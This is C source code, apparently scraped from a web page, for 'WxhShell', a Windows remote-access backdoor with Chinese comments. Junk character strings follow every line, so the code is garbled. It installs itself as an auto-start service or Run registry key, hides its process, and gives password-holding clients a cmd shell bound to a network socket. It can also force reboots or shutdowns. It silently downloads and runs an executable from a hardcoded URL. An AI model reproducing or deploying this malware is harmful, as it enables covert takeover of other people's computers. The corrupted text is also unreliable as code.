    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AG#5_0]P~  
    else { pbivddi2  
    closesocket(wsh); >Z?3dM~[  
    ExitThread(0); :Q\b$=,:  
    } L!-@dz  
    break; @fp(uu  
    } w*ig[{ I  
  // 获取shell a`CsLBv&  
  case 's': { oSt-w{ !  
    CmdShell(wsh); #nc{MR#R  
    closesocket(wsh); JQ%`]=n(/  
    ExitThread(0); Z8Fbx+~"  
    break; ?0+D1w  
  } /r|^Dc Nx  
  // 退出 Jjz:-Uqq2  
  case 'x': { aU2O5z&  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 16o3ER  
    CloseIt(wsh); A1p;Ye>o~  
    break; S"w$#"EJA  
    } gydPy*  
  // 离开 gQ*0Mk  
  case 'q': { z@$7T: H>  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); J;+iW*E:  
    closesocket(wsh); 1P4jdp=~  
    WSACleanup(); 4)iSz>  
    exit(1); _ 9Tv*@  
    break; $CO^dFf  
        } dapQ5JT/  
  } r9@W8](\  
  } G7`7e@{  
Fp-d69Npo  
  // 提示信息 `w]=x e  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'uBW1,  
} w@ 4q D  
  } eQno]$-\  
c0u!V+V%  
  return; [X=-x=S,  
} <O>r e3s  
)=;0  
// shell模块句柄 A5+vzu^  
int CmdShell(SOCKET sock) ^!1mChf  
{ J \1&3r|R  
STARTUPINFO si; gec<5Ewg  
ZeroMemory(&si,sizeof(si)); |Z$heYP:w  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +BM(0M+  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Q! ]  
PROCESS_INFORMATION ProcessInfo; z![RC59 S  
char cmdline[]="cmd"; sn/^#Aa=N  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Ta%{Wa\U9z  
  return 0; R|ViLty  
} 1/3Go97/qV  
<n>Kc}c  
// 自身启动模式 .3A66 O~zT  
int StartFromService(void) W sQo+Ua  
{ g ` 6Xrf  
typedef struct ;c_X ^"d  
{ 0CQ\e1S,#  
  DWORD ExitStatus; 1Qtojph  
  DWORD PebBaseAddress; &n6mXFF#>P  
  DWORD AffinityMask; V(A6>0s$|  
  DWORD BasePriority; 7<oLe3fbM  
  ULONG UniqueProcessId; E:f0NV3"1  
  ULONG InheritedFromUniqueProcessId; t*< .^+Vd  
}   PROCESS_BASIC_INFORMATION; *n N;!*J  
oJUVW"X6  
PROCNTQSIP NtQueryInformationProcess; "44VvpQC  
s$:F^sxb  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; pRD8/7@(B{  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  "C B*  
@/ wJW``;  
  HANDLE             hProcess; ( N~[sf?&  
  PROCESS_BASIC_INFORMATION pbi; +y>D3I  
eR D?O  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Z+=WgEu1  
  if(NULL == hInst ) return 0; jnYFA[Ab  
^vLHs=<  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); q[nX<tO  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); A{Z=[]r1`E  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _+S`[:;a  
O$E3ry+?  
  if (!NtQueryInformationProcess) return 0; ^UZEdR;  
KO<Yc`Fs  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); H ZIJKk(  
  if(!hProcess) return 0; 3lqR(Hh3  
Fa,a)JY>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9Y- Sqk+  
mrX3/e  
  CloseHandle(hProcess); Di<KRg1W]}  
* 'WzIk2  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); } '.l'%  
if(hProcess==NULL) return 0; #qGfo)  
|rka/_  
HMODULE hMod; >lU[ lf+/  
char procName[255]; 4iBp!k7  
unsigned long cbNeeded; KY<>S/  
;WC]Lf<Z^  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 29 L~SMf  
7@$Hua,GY  
  CloseHandle(hProcess); |Ma"B4  
E5UI  
if(strstr(procName,"services")) return 1; // 以服务启动 Xa.Qt.C  
p\wE})mu  
  return 0; // 注册表启动 # nwEF QA  
} n|Iy  
3<1Uq3Pa  
// 主模块 w-2p'u['Z  
int StartWxhshell(LPSTR lpCmdLine) ns9iTU)  
{ Y'&A~/Adf  
  SOCKET wsl; `=RJ8u  
BOOL val=TRUE; Qa~o'  
  int port=0; 6&S;Nrg9  
  struct sockaddr_in door; E'?yI' ~=  
t?L;k+sMM  
  if(wscfg.ws_autoins) Install(); 9w^1/t&=04  
U,yU-8z/  
port=atoi(lpCmdLine); $(H%|Oyn  
}+h/2D  
if(port<=0) port=wscfg.ws_port; -tAdA2?G  
mVg-z~44T  
  WSADATA data; <LIL{g0eX  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; UJ 1iXV[h"  
BK]bSj  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   n$g g$<  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); zdrCr0Rx,  
  door.sin_family = AF_INET; &*B=5W;6^u  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2--"@@  
  door.sin_port = htons(port); 3 k py3z[%  
jxU1u"WU  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { %Wkvo-rOq  
closesocket(wsl); ;t{Ew+s  
return 1; dFFJw[$8w  
} nR-`;lrF~  
Mdsn"Y V  
  if(listen(wsl,2) == INVALID_SOCKET) { MU4/arXy  
closesocket(wsl); (|I:d!>:U  
return 1; "ys#%,Z  
} Xi^3o  
  Wxhshell(wsl); 7"Sw))H|  
  WSACleanup(); uIvy1h9m  
BoE;,s>]NW  
return 0; 6e3s |  
>KmOTM< {  
} 97lM*7h;  
8Eyi`~cAiH  
// 以NT服务方式启动 y Q-&+16^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /_5I}{  
{ `[p*qsp_  
DWORD   status = 0; Fq>=0 )  
  DWORD   specificError = 0xfffffff; R5c Ya  
47.c  
  serviceStatus.dwServiceType     = SERVICE_WIN32; GoP,_sd\O  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ,)e&u1'  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &Ed7|k]H  
  serviceStatus.dwWin32ExitCode     = 0; _fx0-S*$  
  serviceStatus.dwServiceSpecificExitCode = 0; zZ &L#  
  serviceStatus.dwCheckPoint       = 0; r!N)pt<g  
  serviceStatus.dwWaitHint       = 0; &^3KF0\Q  
o^hI\9  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); REUWK#>  
  if (hServiceStatusHandle==0) return; wYQTG*&h  
{"$ Q'T  
status = GetLastError(); y! he<4  
  if (status!=NO_ERROR) r|wB& PGW  
{ Q?-HU,RBO  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; M9'Qs m  
    serviceStatus.dwCheckPoint       = 0; 8d|omqe~P  
    serviceStatus.dwWaitHint       = 0; *{8<4CVv  
    serviceStatus.dwWin32ExitCode     = status; bCr) 3,  
    serviceStatus.dwServiceSpecificExitCode = specificError; <NZ^*]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); -.-j e"E  
    return; ,e{(r0  
  } 83~ Gu[  
DG,CL8bv  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; V#["Z}  
  serviceStatus.dwCheckPoint       = 0; \]ouQR.t@\  
  serviceStatus.dwWaitHint       = 0; z/6/   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {U1 j@pKm  
} gKy@$at&  
VU3xP2c:  
// 处理NT服务事件,比如:启动、停止 l!CWE  
VOID WINAPI NTServiceHandler(DWORD fdwControl) px;5X4U  
{ 6X2>zUHR  
switch(fdwControl) gDE',)3Q,  
{ _Mq0QQ42  
case SERVICE_CONTROL_STOP: W`_pjld  
  serviceStatus.dwWin32ExitCode = 0; vH/ z|<  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; :9un6A9JS  
  serviceStatus.dwCheckPoint   = 0; Y [Jt+p]  
  serviceStatus.dwWaitHint     = 0; UmYReF<<_  
  { :+,>0%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |M]#D0v  
  } wv0d"PKTS  
  return; SFCKD/8  
case SERVICE_CONTROL_PAUSE: to{/@^ D  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 0f~7n*XH  
  break; u=NpL^6s<  
case SERVICE_CONTROL_CONTINUE: 2<HG=iSf  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Z0*Lm+d9z  
  break; d#P3 <  
case SERVICE_CONTROL_INTERROGATE: CBw/a0Uck  
  break; EV{kd.=f  
}; '{=dEEi  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1-[~}  
} gM_z`H 5[!  
R\k= CoJJ  
// 标准应用程序主函数 pwo5Ij,~q  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) F F<xsoZJ  
{ KNT(lA0s  
a)J3=Z-  
// 获取操作系统版本 #v!(uuq,  
OsIsNt=GetOsVer(); v Yt-Nx  
GetModuleFileName(NULL,ExeFile,MAX_PATH); "{>I5<:t  
%"tLs%"7=P  
  // 从命令行安装 .2?tx OKh  
  if(strpbrk(lpCmdLine,"iI")) Install(); Lt ; !q b.  
c4QegN  
  // 下载执行文件 59K%bz5t  
if(wscfg.ws_downexe) { 0"q_c-_Bg  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %zj;~W;qPH  
  WinExec(wscfg.ws_filenam,SW_HIDE); Y@x }b{3  
} HDqPqrWm  
LDlj4>%pW^  
if(!OsIsNt) { MG ,exN @  
// 如果时win9x,隐藏进程并且设置为注册表启动 i'&KoR ?  
HideProc(); bB^% O^:  
StartWxhshell(lpCmdLine); 3 $7TeqfAC  
} z d 9Gi5&  
else _~!*|<A_  
  if(StartFromService()) Kq!E<|yM  
  // 以服务方式启动 vlYDhjZk#  
  StartServiceCtrlDispatcher(DispatchTable); <SM{yMz  
else 6J. [9#  
  // 普通方式启动 AQkH3p/W  
  StartWxhshell(lpCmdLine); SN2X{Q|*  
S~jl%]  
return 0; ga0>J_  
} 7^$PauAv  
N<c98  
 E~oQ%X~  
#N%ATV  
=========================================== ]D|sQPi]F  
tY$ .(2Ua  
"0x"X w#I  
9_Tk8L#  
`:WVp~fn  
n{vp&  
" xb#M{EE-.  
Co6ghH7T  
#include <stdio.h> weQC9e~d{-  
#include <string.h> I)$`@.  
#include <windows.h> e='bc7$  
#include <winsock2.h> XVXiiQ^  
#include <winsvc.h> BLx tS  
#include <urlmon.h> gQy {OU  
'VA\dpa{J  
#pragma comment (lib, "Ws2_32.lib") ""`> v`\  
#pragma comment (lib, "urlmon.lib") e*5TZ7.  
QuFcc}{<]  
#define MAX_USER   100 // 最大客户端连接数 'G1~\CT  
#define BUF_SOCK   200 // sock buffer 0l#{7^e  
#define KEY_BUFF   255 // 输入 buffer L \0nO i  
WBTdQG Q6  
#define REBOOT     0   // 重启 <3\t J  
#define SHUTDOWN   1   // 关机 $47cKit|k:  
@ yJ/!9?^  
#define DEF_PORT   5000 // 监听端口 fdr.'aMf%  
#PYTFB%  
#define REG_LEN     16   // 注册表键长度 BNU]NcA#*,  
#define SVC_LEN     80   // NT服务名长度 'Y23U7 n0B  
hpJ[VKe  
// 从dll定义API MGn:Gj"d  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9/Q_Jv-Q  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Bkg/A;H  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Id8^6FLw  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $Yfm>4  
EoLF7j<W  
// wxhshell配置信息 lhZWL}l  
struct WSCFG { 1B~H*=t4h  
  int ws_port;         // 监听端口 [ bv>(a_,  
  char ws_passstr[REG_LEN]; // 口令 oQJK}9QR  
  int ws_autoins;       // 安装标记, 1=yes 0=no 9vc3&r  
  char ws_regname[REG_LEN]; // 注册表键名 arf`%9M  
  char ws_svcname[REG_LEN]; // 服务名 {E!"^^0`  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 1M&n=s _  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 12)~PIaF  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _2{i}L  
int ws_downexe;       // 下载执行标记, 1=yes 0=no .S/W_R  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" dP0!?J Y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 #BK\cIr  
6hKavzSi  
}; ;6aTt2BQ  
Zf;1U98oC  
// default Wxhshell configuration (:3rANY|  
struct WSCFG wscfg={DEF_PORT, |6LC>'  
    "xuhuanlingzhe", Ve>*KHDSt  
    1, S3nA}1R  
    "Wxhshell", F?2(U\k#  
    "Wxhshell", vPuPSE%M  
            "WxhShell Service", .E:QZH'M  
    "Wrsky Windows CmdShell Service", ?! dp0<  
    "Please Input Your Password: ", @Tmqw(n{  
  1, ` c~:3^?9d  
  "http://www.wrsky.com/wxhshell.exe", :w_J/k5Zd  
  "Wxhshell.exe" BBw]>*  
    }; 'qBg^c  
:HhLc'1Jw  
// 消息定义模块 oD_'8G}  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; eN]0]9JO  
char *msg_ws_prompt="\n\r? for help\n\r#>"; +=I_3Wtth  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; u->UV:u  
char *msg_ws_ext="\n\rExit."; ]D&$k P(  
char *msg_ws_end="\n\rQuit."; W&`_cGoP  
char *msg_ws_boot="\n\rReboot..."; k^I4z^O=-;  
char *msg_ws_poff="\n\rShutdown..."; GIQ/gM?Pv  
char *msg_ws_down="\n\rSave to "; ji {V#  
j6Acd~y\2  
char *msg_ws_err="\n\rErr!"; Eugt~j3  
char *msg_ws_ok="\n\rOK!"; Q%4>okj,  
aE.T%xR  
char ExeFile[MAX_PATH]; !!f)w!wW  
int nUser = 0; 7 ]a6dMh  
HANDLE handles[MAX_USER]; ,c_[`q\  
int OsIsNt; 5}gcJjz  
M`HXUA4  
SERVICE_STATUS       serviceStatus; 6TS+z7S81L  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ew B&PR  
%t M]|!yw  
// 函数声明 H@2JL.(k  
int Install(void); /Kb7#uq  
int Uninstall(void); SF KW"cP  
int DownloadFile(char *sURL, SOCKET wsh); Z[KXDQn8  
int Boot(int flag); B&|F9Z6D  
void HideProc(void); y|V/xm+Fp  
int GetOsVer(void); 0[}"b(O{  
int Wxhshell(SOCKET wsl); Md'd=Y_0  
void TalkWithClient(void *cs); 5T}$+R0&  
int CmdShell(SOCKET sock); hX\XNiCiK8  
int StartFromService(void); dUeM+(s1  
int StartWxhshell(LPSTR lpCmdLine); Y1EN|!WZ  
~=(?Z2UDA_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 7(na?Z$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1g{`1[.QO  
0rY<CV;fZ  
// 数据结构和表定义 9ZUG~d7_  
SERVICE_TABLE_ENTRY DispatchTable[] = JE,R[` &  
{ fKIwdk%!-  
{wscfg.ws_svcname, NTServiceMain}, x:=Kr@VP  
{NULL, NULL} csT_!sI I  
}; u$x H iD  
Ac<V!v71  
// 自我安装 ]hTYh^'e  
int Install(void) X<ZIeZBn  
{ qJB9z0a<Ov  
  char svExeFile[MAX_PATH]; u*`acmS>N  
  HKEY key; *>rpcS<l  
  strcpy(svExeFile,ExeFile); rP,i,1Ar 4  
Lhu2;F\/  
// 如果是win9x系统,修改注册表设为自启动 %).phn"ij[  
if(!OsIsNt) { <||F$t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i{PRjkR  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); g;w4:k)U  
  RegCloseKey(key); K^?yD   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { VcIsAK".4[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :6PWU$z$7  
  RegCloseKey(key); XLp tJ4~v  
  return 0; ya{vR* '~  
    } *ghkw9/  
  } s@ m A\  
} 3WS`,}  
else { sLzcTGa2:z  
L+bO X  
// 如果是NT以上系统,安装为系统服务 wcP0PfY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~ C6< 75  
if (schSCManager!=0) 9+h9]T:9  
{ 8e)k5[\m  
  SC_HANDLE schService = CreateService [ivz/r(Rj  
  ( dz &| 3o  
  schSCManager, //`heFuc]>  
  wscfg.ws_svcname, n@{fqj  
  wscfg.ws_svcdisp, <M=U @  
  SERVICE_ALL_ACCESS, cH'*J/  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , F%bv vw*(  
  SERVICE_AUTO_START, A{\7HV5  
  SERVICE_ERROR_NORMAL, |f'U_nE#R/  
  svExeFile, enlk)_btp  
  NULL, d /&aC#'B  
  NULL, fGb(=l  
  NULL, IV_u f  
  NULL, -N^}1^gA  
  NULL Q bfm*JP~  
  ); ]ms#*IZ  
  if (schService!=0) )<9g+^  
  { ~-lIOQ.v  
  CloseServiceHandle(schService); Tz+2g&+  
  CloseServiceHandle(schSCManager); QkZT%!7  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); o1MI&}r  
  strcat(svExeFile,wscfg.ws_svcname);  S20x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $1.iMHb  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Fp4eGuWH#  
  RegCloseKey(key); ~el#pf~  
  return 0; wKe^5|Rr  
    } j[m\;3Sp  
  } F}<&@7kF  
  CloseServiceHandle(schSCManager); 3X*;.'#Z  
} lYv :  
} X_+`7yCi"x  
.\X/o!xC  
return 1; zA9N<0[]o  
} 6(B0gBCId  
uf\Hh -+p  
// 自我卸载 >},O_qx  
int Uninstall(void) 5|x&Z/hL  
{ 7!hL(k[  
  HKEY key; Q{b ZD*  
f[.RAHjk  
if(!OsIsNt) { r-'\<d(J$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yfiRMN"2  
  RegDeleteValue(key,wscfg.ws_regname); NS-u,5Jt  
  RegCloseKey(key); Ud^+a H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I/jMe'Kp  
  RegDeleteValue(key,wscfg.ws_regname); WW0N"m'  
  RegCloseKey(key); 71 hv~Nk/x  
  return 0; $@Zb]gavt?  
  } ,AGK O,w  
} =r3Yt9  
} !;pmql  
else { MA.1t  
4otB1{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); p]*$m=t0r  
if (schSCManager!=0) k^z)Vu|f.  
{ d"Y9go"Z  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); c~ l$_A  
  if (schService!=0) fW!~*Q  
  { . Uv7{(  
  if(DeleteService(schService)!=0) { ss T o?WL|  
  CloseServiceHandle(schService); /],:sS7  
  CloseServiceHandle(schSCManager); P9:7_Vc  
  return 0; !w]!\H  
  } y1c Aw   
  CloseServiceHandle(schService); &E.0!BuqV  
  } *W y0hnr;]  
  CloseServiceHandle(schSCManager); D(Zux8l  
} _D1bR7  
} KArf:d  
yx3M0Qo  
return 1; 5oGnPF  
} 63UAN0K%  
@]6)j&  
// 从指定url下载文件 zOLt)2-<  
int DownloadFile(char *sURL, SOCKET wsh)  3Fo,F  
{ 50rCW)[#  
  HRESULT hr; =bded(3Z  
char seps[]= "/"; W>K2d  
char *token; zv  <,  
char *file; r-^Ju6w{  
char myURL[MAX_PATH]; ggVB8QN{  
char myFILE[MAX_PATH]; $n(?oyf  
?qAX *j  
strcpy(myURL,sURL); ]n${j/x  
  token=strtok(myURL,seps); GuQ3$B3j  
  while(token!=NULL) cInzwdh7  
  { BqvOi~ l  
    file=token; )_ NQ*m  
  token=strtok(NULL,seps); FgE6j;   
  } D *Siy;  
\! Os!s  
GetCurrentDirectory(MAX_PATH,myFILE);  DC]FY|ff  
strcat(myFILE, "\\"); g v&xC 6>  
strcat(myFILE, file); +z+25qWi  
  send(wsh,myFILE,strlen(myFILE),0); ^(V!vI*  
send(wsh,"...",3,0); Yt++  ?  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ;EW]R9HCH  
  if(hr==S_OK) ~PHAC@pU  
return 0;  h#^IT  
else @NlnZfMu  
return 1; QL-((dZ<  
{[hV ['Awv  
} !vr">@}K  
/(BQzCP9O;  
// 系统电源模块 V7N8m<Tf  
int Boot(int flag) U;i:k%Bzy  
{ pTOS}A[dh  
  HANDLE hToken; ?q7V B  
  TOKEN_PRIVILEGES tkp; @Q !f^  
{O5;V/00}  
  if(OsIsNt) { f6PXcV  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *hF5cM[  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); McNj TD  
    tkp.PrivilegeCount = 1; vs{i2!^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $d:/cN 8E  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  &e7yX  
if(flag==REBOOT) { D4}WJMQ7s  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) x/~V ZO  
  return 0; ,'= Y  
} :o*{.  
else { 09_3`K. *  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) UB|Nx(V s  
  return 0; y,DK@X  
} `dMOBYV  
  } g`y >)N/  
  else { }LM^>M%  
if(flag==REBOOT) { KAjKv_6=g  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Fq&@dxN3  
  return 0; l|%7)2TyG)  
} W6K]jIQ  
else { KOV^wSwS  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6G/)q8'G  
  return 0; ?WG9}R[qE/  
} wS%I.  
} ] \4-e2N`\  
+&O[}%W  
return 1; S!#7]wtbP  
} ?%JH4I2  
qK:.j  
// win9x进程隐藏模块 Um9!<G=;  
void HideProc(void) 4_&$isq  
{ U2ecvq[T  
r1}OlVbK  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Al$"k[-Uin  
  if ( hKernel != NULL ) x,2+9CCU  
  { O2:m)@  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #8R\J[9  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); d}>Nl$  
    FreeLibrary(hKernel); W`eYd| +C  
  } 5ii`!y  
k^C;"awh  
return; I> =7|G  
}  |}QDC/  
4L^KR_h/  
// 获取操作系统版本 "h_n/}r=  
int GetOsVer(void) s+yBxgQ/  
{ A0oC*/  
  OSVERSIONINFO winfo; 6}L[7~1  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); W7l/{a @  
  GetVersionEx(&winfo); *VIM!/YW  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) e l'^9K  
  return 1; 6y%BJU.I  
  else _66zXfM<  
  return 0; =k2+VI  
} zIH[ :  
 >pv~$  
// 客户端句柄模块 +{]/ b%P  
int Wxhshell(SOCKET wsl) HzQ6KYAMq  
{ `;hsOfo  
  SOCKET wsh; oE"!  
  struct sockaddr_in client;  n1y#gC  
  DWORD myID; Z!G;q}zZ!  
GaSk &'n$Y  
  while(nUser<MAX_USER) +TpM7QaL  
{ UB.FX  
  int nSize=sizeof(client); h[C!cX  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {h&*H[Z z  
  if(wsh==INVALID_SOCKET) return 1; yIXM}i:  
^(N+s?  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "0`r]5 5d  
if(handles[nUser]==0) q}ZZqYk  
  closesocket(wsh); "o<:[c9/  
else 9V.)=*0hp  
  nUser++; k#JFDw\  
  } S?OK@UEJ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); s]5wzbFO  
7T_g?!sdMh  
  return 0; @s/;y VVq  
} x\3 ` W  
qoB   
// 关闭 socket O *H:CW  
void CloseIt(SOCKET wsh) MZ=U} &F  
{ xPQO}wKa  
closesocket(wsh); 0Ny0#;P  
nUser--; ;?=nr5;q  
ExitThread(0); yeE_1C .  
} OJ@';ZyT=  
}s}b]v  
// 客户端请求句柄 &KbtW_  
void TalkWithClient(void *cs) M[Y|$I}  
{ 9w11kut-!  
-66|Y  
  SOCKET wsh=(SOCKET)cs; "LaNXZ9  
  char pwd[SVC_LEN]; .DHZs#R  
  char cmd[KEY_BUFF]; 1 YMaUyL 1  
char chr[1]; &^ =t%A%#  
int i,j; 0AJ6g@ t[  
z|+L>O-8  
  while (nUser < MAX_USER) { y<BiR@%,7  
;)0vxcMB  
if(wscfg.ws_passstr) { Arir=q^2  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0Hff/~J  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); H",yVD  
  //ZeroMemory(pwd,KEY_BUFF); rU<  H7U  
      i=0; x:xKlPGd  
  while(i<SVC_LEN) { Ad@))o2  
F8_pwJUpf-  
  // 设置超时 P%' bSx1  
  fd_set FdRead; ~UK) p;|  
  struct timeval TimeOut; fR6ot#b  
  FD_ZERO(&FdRead); :Q+ rEjw+  
  FD_SET(wsh,&FdRead); 9VV  
  TimeOut.tv_sec=8; MukPY2[Am  
  TimeOut.tv_usec=0; Z>o;Yf[  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |WXu;uf$.u  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); >5/dmHPc  
~K:#a$!%,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b[GZ sXD-  
  pwd=chr[0]; &oTSff>p}  
  if(chr[0]==0xd || chr[0]==0xa) { [%P_ Y/  
  pwd=0; MA(\ r  
  break; F =iz\O!6  
  } S.t+HwVodO  
  i++; %3fHitCikc  
    } n@T4z.*~lA  
m`nv4i#o  
  // 如果是非法用户,关闭 socket u\Fq\_  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _m3PAD4  
} OjJlGElw  
(mt,:hX  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [g=yuVXNZZ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fU>"d>6!S  
$o/ ?R]h  
while(1) { J:#B,2F+^  
VG2TiR1  
  ZeroMemory(cmd,KEY_BUFF); D?@330'P9C  
KNIYar*3  
      // 自动支持客户端 telnet标准   m[ay  
  j=0; K`(STvtM  
  while(j<KEY_BUFF) { d!G%n *  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {n$9o  
  cmd[j]=chr[0]; eW\7X%I  
  if(chr[0]==0xa || chr[0]==0xd) { ll[U-v{  
  cmd[j]=0; fcnbPO0M  
  break; a3R#Bg(  
  } u;!CQ w/  
  j++; Nf-IDK  
    } 9y.C])(2  
C<qJnB:B 9  
  // 下载文件 h(GgkTj4+  
  if(strstr(cmd,"http://")) { +s1+;VUs3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); /Lu wPM  
  if(DownloadFile(cmd,wsh)) jTSw0\}  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); *ubLuC+b  
  else lG%oqxJ+ L  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6dC!&leNi  
